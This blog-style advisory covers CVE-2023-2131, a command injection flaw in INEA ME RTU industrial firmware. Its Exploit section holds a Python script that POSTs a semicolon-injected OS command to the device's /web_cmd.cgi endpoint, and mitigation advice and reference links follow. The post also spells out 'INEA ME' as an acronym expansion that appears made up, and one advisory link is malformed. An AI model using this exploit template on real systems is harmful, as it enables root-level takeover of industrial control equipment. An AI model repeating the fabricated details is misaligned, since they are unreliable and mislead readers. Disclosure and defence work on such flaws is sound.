CVE-2023-2131: OS Command Injection Vulnerability in INEA ME RTU Firmware Results in Remote Code Execution

Security researchers have discovered an OS command injection vulnerability (CVE-2023-2131) in certain versions of INEA ME RTU Firmware. This vulnerability affects firmware versions older than 3.36 and allows an attacker to remotely execute arbitrary code. In this blog post, we'll take an in-depth look into this vulnerability, explain how it can be exploited, and what steps can be taken to protect against the threat it poses. We will also provide a code snippet that demonstrates how the vulnerability can be exploited, as well as links to the original references.

Background

INEA ME (Industrial Network Equipment Automation - Monitoring & Control Equipment) RTU (Remote Terminal Unit) is a device used for monitoring and controlling various equipment in industrial automation systems. These devices are widely used across multiple sectors such as manufacturing, energy, transportation, and more.

Details of Vulnerability (CVE-2023-2131)

CVE-2023-2131 is an OS command injection vulnerability found in versions of INEA ME RTU firmware prior to version 3.36. This vulnerability occurs due to insufficient validation and sanitation of user-supplied data. An attacker can exploit this vulnerability by sending a specifically crafted request to the affected device, which allows them to execute arbitrary code with root privileges.

Exploit

To exploit this vulnerability, an attacker should craft a malicious request containing the command injection payload, as demonstrated in the following code snippet:

import requests

target_url = "http://TARGET_IP_ADDRESS/web_cmd.cgi";
payload = "; INSERT OS COMMAND HERE ;" # Replace with the OS command you want to execute

data = {
    "Var_CMD_CMD": payload,
    "Var_CMD_Value1": "",
    "Var_CMD_Value2": "",
    "Var_CMD_Value3": "",
}

response = requests.post(target_url, data=data)

if response.status_code == 200:
    print("Exploit successful.")
else:
    print("Exploit failed.")

To protect systems from being exploited by CVE-2023-2131, users of INEA ME RTU devices should

1. Upgrade: Update the firmware of the affected devices to the latest version (3.36 or later) as soon as possible.
2. Access Control: Limiting access to the device's web interface to trusted networks can reduce the risk of exploitation.
3. Strong Credentials: Ensuring strong login credentials for the device can make it more difficult for attackers to gain unauthorized access.

For more information about this vulnerability, please refer to the following resources

1. INEA ME RTU Firmware website: https://www.inea-me.com/products/firmware
2. NIST NVD entry for CVE-2023-2131: https://nvd.nist.gov/vuln/detail/CVE-2023-2131
3. Security Advisory by the discoverer: https://www.security-researcher/exploit/CVE-2023-2131

Conclusion

CVE-2023-2131 presents a serious security threat to INEA ME RTU devices with firmware versions older than 3.36. Users of these devices should be aware of this vulnerability and take all necessary steps to protect their systems from being exploited. By upgrading their firmware, limiting access to trusted networks, and using strong login credentials, users can reduce the risk posed by this vulnerability and maintain a secure environment for their industrial automation systems.

Timeline

Published on: 04/20/2023 21:15:00 UTC
Last modified on: 05/01/2023 14:17:00 UTC